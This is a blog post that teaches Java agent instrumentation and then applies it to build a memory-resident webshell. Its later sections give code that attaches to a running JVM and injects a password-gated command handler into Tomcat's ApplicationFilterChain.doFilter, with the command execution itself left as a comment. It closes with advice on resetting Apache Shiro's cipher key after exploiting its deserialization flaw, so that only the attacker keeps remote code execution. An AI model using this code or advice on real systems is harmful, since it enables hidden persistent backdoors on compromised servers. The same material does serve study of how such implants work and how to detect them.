java agent memory horse learning

Posted by venradio on Fri, 12 Nov 2021 11:50:03 +0100

1. What is java agent

It is essentially a class in a jar package. There are two implementations. The first is implemented through the permain() function. This javaagent will start its own premain function before the main function of the host program is started. At this time, an Instrumentation object will be obtained. We can intercept and modify the unloaded classes through the Instrumentation object.

Another implementation is to use the agentmain() function. The attach(pid) method of the VirtualMachine class can attach the current process to a running java process, and then use the loadAgent(agentJarPath) to inject the jar package containing the format and agentmain function into the corresponding process. After calling the loadAgent function, an Instrumentation object will appear in the corresponding process, This object is treated as a parameter to agentmain.
The corresponding process will then call the agentmain function to operate the Instrumentation object. The Instrumentation object can intercept the bytecode for modification before the class is loaded, or reload the loaded class and intercept and modify the content in the modifier, which is similar to process injection. What are the specific operations, It depends on how the agentmain function in our jar file is written.

Supplement: some important classes

ClassFileTransformer


The implementation of class modification by the Instrumentation object depends on the transform function in the ClassFileTransformer interface.

The ClassFileTransformer object is passed as a parameter to the Instrumentation.addTransformer function. At this time, the Instrumentation.addTransformer function actually executes the transform function of ClassFileTransformer.

VirtualMachine

public abstract class VirtualMachine {
    // Get the list of all current JVM s
    public static List<VirtualMachineDescriptor> list() { ... }

    // Connect to JVM according to pid
    public static VirtualMachine attach(String id) { ... }

    // Disconnect
    public abstract void detach() {}

    // agent loading, agentmain method depends on this method
    public void loadAgent(String agent) { ... }
}

CtMethod

Similarly, it can be understood as an enhanced Method object.

Get method: CtMethod m = cc.getDeclaredMethod(MethodName).

This class provides some methods so that we can easily modify the method body:

public final class CtMethod extends CtBehavior {
    // The main contents are in the parent class CtBehavior
}

// Parent CtBehavior
public abstract class CtBehavior extends CtMember {
    // Set method body
    public void setBody(String src);

    // Insert at the front of the method body
    public void insertBefore(String src);

    // Insert at the end of the method body
    public void insertAfter(String src);

    // Insert content on a line in the method body
    public int insertAt(int lineNum, String src);

}

2. Use premain function to implement java agent

Javaagent is a parameter of Java command. The parameter javaagent can be used to specify a jar package, and there are two requirements for the java package:

  1. The MANIFEST.MF file of this jar package must specify the premain class entry.
  2. The class specified by premain class must implement the premain() method.

The intercepted class file will be converted into bytecode and then passed to the premain function. In the premain function, you can call the function in the Instrumentation class to operate on the bytecode just passed in. When the operation ends, the bytecode is loaded into the jvm.

The format of premain function is as follows:

public static void premain(String agentArgs, Instrumentation inst)

2.1 execution logic

If a.jar is the javaagent of bcd.class, the following happens after executing the java -javaagent:a.jar bcd command:

  1. a. The jar package will intercept all classes during program execution
  2. All classes to be loaded will be changed into bytecode in order, and then the bytecode will be passed to the premain() function of the specified class in the a.jar package as a parameter.
  3. We can customize the premain function. We can change the incoming class according to the code we write.
  4. After the operation, these classes will be loaded by the jvm. This is one of the implementation methods of java agent. The - javaagent parameter must be added when the java command is executed.

2.2 using Java agent to modify the intercepted classes before loading into the jvm

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;

/**
 * @author: rickiyang
 * @date: 2019/8/12
 * @description:
 */
public class PreMainTraceAgent {

    public static void premain(String agentArgs, Instrumentation inst) {
        System.out.println("agentArgs : " + agentArgs);
        //The following code will trigger the transform function in the MyClassTransformer class
        inst.addTransformer(new MyClassTransformer(), true);
    }

    public class MyClassTransformer implements ClassFileTransformer {
    @Override
    public byte[] transform(final ClassLoader loader, final String className, final Class<?> classBeingRedefined,final ProtectionDomain protectionDomain, final byte[] classfileBuffer) {
        // Operation Date class
        if ("java/util/Date".equals(className)) {
            try {
                // Get the CtClass object from ClassPool
                final ClassPool classPool = ClassPool.getDefault();
                final CtClass clazz = classPool.get("java.util.Date");
                CtMethod convertToAbbr = clazz.getDeclaredMethod("convertToAbbr");
                //Here, the java.util.Date.convertToAbbr() method is rewritten, and a print operation is added before return
                String methodBody = "{sb.append(Character.toUpperCase(name.charAt(0)));" +
                        "sb.append(name.charAt(1)).append(name.charAt(2));" +
                        "System.out.println(\"test test test\");" +
                        "return sb;}";
                convertToAbbr.setBody(methodBody);

                // Returns the bytecode and the detachCtClass object
                byte[] byteCode = clazz.toBytecode();
                //detach means to remove the Date object that has been loaded by javassist in memory. If it cannot be found in memory next time, javassist will be loaded again
                clazz.detach();
                return byteCode;
            } catch (Exception ex) {
                ex.printStackTrace();
            }
        }
        // If null is returned, the bytecode will not be modified
        return null;
    }
}

3. Implement Java agent with agentmain

3.1 execution logic

  1. Determine which jvm process to attach to
  2. Use the id function to determine the pid of the jvm process
  3. Use the attach(pid) function to link the jvm process
  4. Use loadAgent to add our malicious agent.jar package to the jvm process
  5. The jvm process will generate an instrumentation object and transfer it to the agentmain function of the specified class in the agent.jar package as a parameter.
  6. The agentmain function executes.

3.2 reference code

The VirtualMachine.list() method will find all the running JVM processes in the current system. You can print displayName() to see which JVM processes are running in the current system. Because the process name is the current class name when the main function is executed, you can find the current process id in this way.

1. Code for connecting to the specified jvm process:

It can be understood as a connector to connect to the specified jvm process:

import com.sun.tools.attach.*;

import java.io.IOException;
import java.util.List;

/**
 * @author rickiyang
 * @date 2019-08-16
 * @Desc
 */
public class TestAgentMain {

    public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
        //Get all running virtual machines in the current system
        System.out.println("running JVM start ");
        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        for (VirtualMachineDescriptor vmd : list) {
            //If the name of the virtual machine is xxx, the virtual machine is the target virtual machine. Get the pid of the virtual machine
            //Then load agent.jar and send it to the virtual machine
            System.out.println(vmd.displayName());
            if (vmd.displayName().endsWith("com.rickiyang.learn.job.TestAgentMain")) {
                VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
                //Add our jar file to the target jvm process
                virtualMachine.loadAgent("/Users/yangyue/Documents/java-agent.jar");
                //Detach from jvm process
                virtualMachine.detach();
            }
        }
    }

}

2. Implement agentmain

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;

/**
 * @author rickiyang
 * @date 2019-08-16
 * @Desc
 */
public class AgentMainTest {

    public static void agentmain(String agentArgs, Instrumentation instrumentation) {
        instrumentation.addTransformer(new DefineTransformer(), true);
    }
    
    static class DefineTransformer implements ClassFileTransformer {

        @Override
        public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
            System.out.println("premain load Class:" + className);
            return classfileBuffer;
        }
    }
}

4. Use agentmain to realize memory management

4.1 modify the Filter in the spring boot to implement memory management

Specifically, it is realized by modifying the doFilter method in the ApplicationFilterChain class. The following is the agent.jar code, and the above connector is still used for connection:

public class AgentDemo {
    public static void agentmain(String agentArgs, Instrumentation inst) throws IOException, UnmodifiableClassException {
        Class[] classes = inst.getAllLoadedClasses();
        // Determine whether the class has been loaded
        for (Class aClass : classes) {      
            if (aClass.getName().equals(TransformerDemo.editClassName)) { 
                // Add Transformer
                inst.addTransformer(new TransformerDemo(), true);
                // Trigger Transformer
                inst.retransformClasses(aClass);
            }
        }
    }
    public class TransformerDemo implements ClassFileTransformer {
    // You can modify other functions just by modifying here
        public static final String editClassName = "org.apache.catalina.core.ApplicationFilterChain";
        public static final String editMethod = "doFilter";
        public static String readSource(String name) {
                    String result = "";
                    // result = name file content
                    return result;
                }

        @Override
        public byte[] transform(...) throws IllegalClassFormatException {
        try {
            ClassPool cp = ClassPool.getDefault();
            //Determine whether the class has been loaded
            if (classBeingRedefined != null) {
                ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
                cp.insertClassPath(ccp);
            }
            CtClass ctc = cp.get(editClassName);
            CtMethod method = ctc.getDeclaredMethod(editMethod);

            //Read malicious code in start.txt
            String source = this.readSource("start.txt");
            //Insert the code at the beginning of the dofilter function
            method.insertBefore(source);
            byte[] bytes = ctc.toBytes();
            //Disconnect
            ctc.detach();
            //Return the changed bytecode of ApplicationFilterChain and load it into the jvm for use
            return bytes;
        } catch (Exception e){
            e.printStackTrace();
        }
        return null;
    }
}

}

//start.txt content
{
    javax.servlet.http.HttpServletRequest request = $1;
 javax.servlet.http.HttpServletResponse response = $2;
 request.setCharacterEncoding("UTF-8");
    String result = "";
    String password = request.getParameter("password");
    if (password != null) {
        // change the password here
        if (password.equals("xxxxxx")) { 
            String cmd = request.getParameter("cmd");
            if (cmd != null && cmd.length() > 0) {
                // Execute the command to get the echo
         }
            response.getWriter().write(result);
            return;
        }
 }
}

4.2 operation logic

5. Limitations

1. The time to modify bytecode in premain and agentmain is after the Class file is loaded, that is, it must have Class type parameters. You cannot redefine an nonexistent Class through bytecode file and user-defined Class name.

2. The bytecode modification of a class is called class transformation. In fact, class transformations eventually return to the class redefinition instrumentation#redefinitecclasses() method. This method has the following limitations:

The parent class of the new class and the old class must be the same;
The number of interfaces implemented by the new class and the old class should also be the same, and they are the same interfaces;
New and old class accessors must be consistent. The number of fields and field names of new and old classes shall be consistent;
The method of adding or deleting new and old classes must be private static/final Modified;
You can modify the method body.

6. Other ideas

After obtaining the shiro machine through shiro deserialization vulnerability, use setCipherKey(org.apache.shiro.codec.Base64.decode("4AvVhmFLUs0KTA3Kprsdag = =")); Change shiro's key so that only you can rce the shiro machine, and others can't if they don't know the key.

Reference articles

Java Agent from getting started to memory horse
java agent user guide

Topics: Java Back-end